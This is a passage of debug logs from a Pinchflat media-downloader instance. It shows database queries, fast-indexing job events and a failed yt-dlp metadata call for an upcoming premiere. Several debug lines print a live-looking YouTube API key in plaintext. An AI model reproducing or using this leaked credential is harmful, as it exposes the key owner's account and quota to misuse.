s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:16.540 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:07:16.677 [debug] QUERY OK source="media_items" db=0.8ms idle=136.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [18, "rftUQzr5MNY", "pXjsYsJR8eU", "prJa6chyjqQ", "e8MxxudBYHk", "a_0XQWA15FI", "jTWFMDJ7DrI", "6U5VizZp2mM", "6CmauK9WXDI", "wgXSw9BpnpU", "i07HAgTz45c", "xM9S3yBulYw", "4Bm5-NIl_RA", "HthaE0RZOck", "kHXxl9yqdbE", "D4ozSz8ab_E", "JvrGuAU-eQ4", "4Nr6hiHbgAw", "EKRoREgXcaQ", "mzTwPwIQENg", "fc3rJ0sJsbI", "j5J9rO_2xsY", "dMCQgYjSoSw", "itGzr7HZl9I", "-anIMIYnyjc", "kPGIGgFI3_E", "5q_lWJSquoc", "Pukp9nKozE8", "sPDYpIlReGY", "LEyq9a84wuU", "ez1buVmEKLU", "Zy_i-7hOQ_c", "yipidSya0Gc", "XiHlv0w2zMo", "cYIiWIJ07co", "_uh9kNqfJzY", "IaadHU9ku_k", "qqcbiTuW6dw", "rsIwHYDhr8M", "5o-L5_zpUc4", "6WiVRluXP80", "qGc2FEC3Htw", "q2pmhQoEGIw", "1J4rDpbqXG8", "9H-9_FLOs7w", "84Bep8MqnRs", "tJvqC1EhOrY", "Rlec9tt_xDA", "PRVOTbvtqwE", "gN7dibXWGlM", ...] 18:07:16.678 [debug] QUERY OK source="media_items" db=0.7ms idle=138.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [18] 18:07:16.680 [debug] QUERY OK source="tasks" db=0.1ms idle=139.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800372, 18, ~U[2026-02-11 00:07:16Z], ~U[2026-02-11 00:07:16Z]] 18:07:16.680 [info] {"args":{"id":18},"id":3800332,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":256545,"event":"job:stop","queue_time":484907,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:16.765 [debug] QUERY OK source="media_items" db=0.6ms idle=84.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "KtQ9nt2ZeGM", "tCVsyY5TRQI", "oy7BrKNmZAQ", "INZybkX8tLI", "8I4Jc-WLsrs", "DAX2_mPr9W8", "ms8uu0zeU88", "Aytf6ARcs8s", "JzClLWL-Eys", "HFYWHeBhYbM", "SaKKzZRrPIg", "W96a8svXo14", "OSCOQ6vnLwU", "j_QfX0SYCE8", "OOK5xkFijPc", "QEJpZjg8GuA", "HnMuNCl7tZ8", "kTctVqjhDEw", "qSFNufruSKw", "6Ea6jf-9Czo", "dHskIsOYZ8s", "6h9JhW-m35o", "Namf-Ddo_Xo", "WkIR23emsWY", "zsA3X40nz9w", "CnMRePtHMZY", "CzJKxUCKOBg", "3-Q87w8uhwg", "XRCprhlz4D8", "uhbDfi7Ee7k", "YGT1EvmDJh4", "jHP942Livy0", "XeDCCNFAULk", "TLm7Q92xMjQ", "ff04ecF9Dfw", "ZcH0j7tOrDA", "DTsQjiPlksA", "AEm-2giH_zw", "E3p_Cv32tEo", "va1rzP2xIx4", "Limpr1L8Pss", "TBPVJtGBf8Y", "bis_4MT5SSo", "ue-1JoJQaEg", "vNj75gJVxcE", "Khp3wb0QMpQ", "ZJOfyMCEzjQ", "zb7Bs98KmnY", "8PTjPzw9VhY", ...] 18:07:16.766 [debug] QUERY OK source="media_items" db=0.4ms idle=85.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 18:07:16.766 [debug] QUERY OK source="tasks" db=0.0ms idle=80.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800373, 3, ~U[2026-02-11 00:07:16Z], ~U[2026-02-11 00:07:16Z]] 18:07:16.767 [info] {"args":{"id":3},"id":3800334,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":227371,"event":"job:stop","queue_time":280482,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:24.432 [info] {"args":{"id":32},"id":3800335,"meta":{},"system_time":1770768444432755747,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:24.433 [debug] QUERY OK source="sources" db=0.2ms idle=554.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 18:07:24.433 [debug] QUERY OK source="settings" db=0.1ms idle=554.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:24.433 [debug] QUERY OK source="media_profiles" db=0.1ms idle=555.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:07:24.433 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:24.433 [debug] Fetching recent media IDs from YouTube API for playlist: UU-FpBZR7DbpvNj5UrFN8qUA 18:07:24.433 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:24.434 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:07:24.718 [debug] QUERY OK source="media_items" db=0.9ms idle=284.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [32, "ed7V-kfgSGY", "b5oqQc9awuc", "M5wiw9524O8", "BlEgvswR_tw", "FL6p369Qt-c", "Ksk8tNzi_JQ", "9Gu7zGt6eyU", "FoMrNXZ-yVE", "yUnCteUmUZU", "UoEwFnHmxdo", "_vBqKPsY9CE", "BoNHLYHuXk0", "HKZ4PPq7gPA", "WU0eEZoPaZc", "RoGxFO90jCM", "la04Zg6-yxk", "f7SUrcf4pRE", "6r9_m_8lUD8", "9ELvj8Lq2OU", "oB3Z67186pw", "n4QtXC6J9-0", "BwmeE3CZ5rU", "uoMGUM6VGLg", "5gsKPcJ5RyU", "zjr91LZaAd0", "_JAhkZSZetY", "kGYd2Xjgv9o", "LpD2tUYfMQU", "QqVU5_EmuUU", "R3q9eWJ2Hd4", "msiu27F4vSg", "zCW_1dXRg2k", "XX4JRtVJ-Ls", "6sAhwJIXrKE", "j_hY0oeqbXI", "_c_m409RRBM", "UYKYIQhaj-0", "PKOrJjLnXbU", "D19jxGokuPQ", "aZeoYJBxzGo", "zso06uG6Vtc", "FSOvHJ-3quc", "BlWiOY_haEA", "-5f9L7UZ730", "KknaULuIjds", "5LuAW5CNjzw", "E7PkAVDcS2A", "RDllmPLV-T0", "4pHkSfgy9o4", ...] 18:07:24.718 [debug] QUERY OK source="settings" db=0.0ms idle=285.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:24.719 [debug] QUERY OK source="settings" db=0.0ms idle=285.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:24.719 [debug] Running yt-dlp command for action: get_media_attributes 18:07:24.720 [debug] QUERY OK source="settings" db=0.0ms idle=286.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:24.720 [debug] QUERY OK source="settings" db=0.0ms idle=286.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:24.720 [debug] QUERY OK source="settings" db=0.0ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:24.720 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b5oqQc9awuc --simulate --skip-download --output /downloads/Autism From The Inside/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/76/0b/760b15ba25f0bb2646d1ed273db4a3143ad27baf16dd5f81107ca044eac12884.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:07:26.149 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b5oqQc9awuc --simulate --skip-download --output /downloads/Autism From The Inside/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/76/0b/760b15ba25f0bb2646d1ed273db4a3143ad27baf16dd5f81107ca044eac12884.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] b5oqQc9awuc: Premieres in 45 hours 18:07:26.149 [error] Error creating media item 'b5oqQc9awuc' from URL: {:error, "ERROR: [youtube] b5oqQc9awuc: Premieres in 45 hours\n", 1} 18:07:26.150 [debug] QUERY OK source="media_items" db=1.1ms idle=721.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 18:07:26.151 [debug] QUERY OK source="tasks" db=0.1ms idle=273.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800374, 32, ~U[2026-02-11 00:07:26Z], ~U[2026-02-11 00:07:26Z]] 18:07:26.151 [info] {"args":{"id":32},"id":3800335,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":1718791,"event":"job:stop","queue_time":559303,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:29.438 [info] {"args":{"id":36},"id":3800336,"meta":{},"system_time":1770768449438695826,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:29.439 [debug] QUERY OK source="sources" db=0.1ms idle=1560.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 18:07:29.439 [debug] QUERY OK source="settings" db=0.1ms idle=1560.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:29.439 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1008.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:07:29.439 [debug] QUERY OK source="settings" db=0.0ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:29.439 [debug] Fetching recent media IDs from YouTube API for playlist: UUEcrRXW3oEYfUctetZTAWLw 18:07:29.439 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:29.439 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:07:29.540 [debug] QUERY OK source="media_items" db=0.5ms idle=100.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [36, "aIH7MZ1ZR8o", "SAywqmOO1tk", "zxa8quCs__I", "VUcJYnQNSX8", "o4gfcXlQ2SQ", "Sfycp2kvOQg", "TPqmGfulrfw", "YwhUHBpp6Ik", "B6Su6HUJNoY", "90uSWCHQaso", "v6Qazg9FCd8", "rGTSetnFRAk", "pmmEha5fbR4", "25Ica_QkHXY", "6-9PfdBo7vU", "P-rj56QjASc", "UxjEjOw0s8E", "mwM9ABnawTw", "mCwy1frO6MA", "oozugQHwDI4", "LFIu306va_c", "vJyv0rHJiq4", "7jZsenC-XC4", "4--zvaaKO3s", "Ga8RdTxzL2w", "7k_mPBs_F4k", "leFl8CfTOn4", "3AgrCN_VtEE", "X9ZXhDyBN4k", "uNDfc5domNY", "PBC4kkjS3P0", "BoYDhPVRorw", "tztHZ1qLTyw", "eNz6-B70WOs", "HRUVTzfqBTo", "K9V1c40vxu4", "OhM-qVsGG7w", "WVn1_qaUKOU", "rKFtrVF7CU8", "1Q8bHpz7aIo", "qoVFBOoVfJQ", "yFt223XU6Fs", "Eq8F6moYOjE", "q47Gom0X_sE", "YlCgi2Bozzo", "q3Astu36nx8", "a4z8Uv9RL9w", "XuNMN3_GGG4", "pvHELkFeMuM", ...] 18:07:29.541 [debug] QUERY OK source="media_items" db=0.6ms idle=101.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 18:07:29.542 [debug] QUERY OK source="tasks" db=0.1ms idle=102.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800375, 36, ~U[2026-02-11 00:07:29Z], ~U[2026-02-11 00:07:29Z]] 18:07:29.542 [info] {"args":{"id":36},"id":3800336,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":103382,"event":"job:stop","queue_time":539291,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:30.222 [info] {"source":"oban","duration":10246,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:42.452 [info] {"args":{"id":23},"id":3800337,"meta":{},"system_time":1770768462452806593,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:42.453 [debug] QUERY OK source="sources" db=0.1ms idle=1574.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [23] 18:07:42.454 [debug] QUERY OK source="settings" db=0.7ms idle=1008.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:42.454 [debug] QUERY OK source="media_profiles" db=0.1ms idle=575.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", 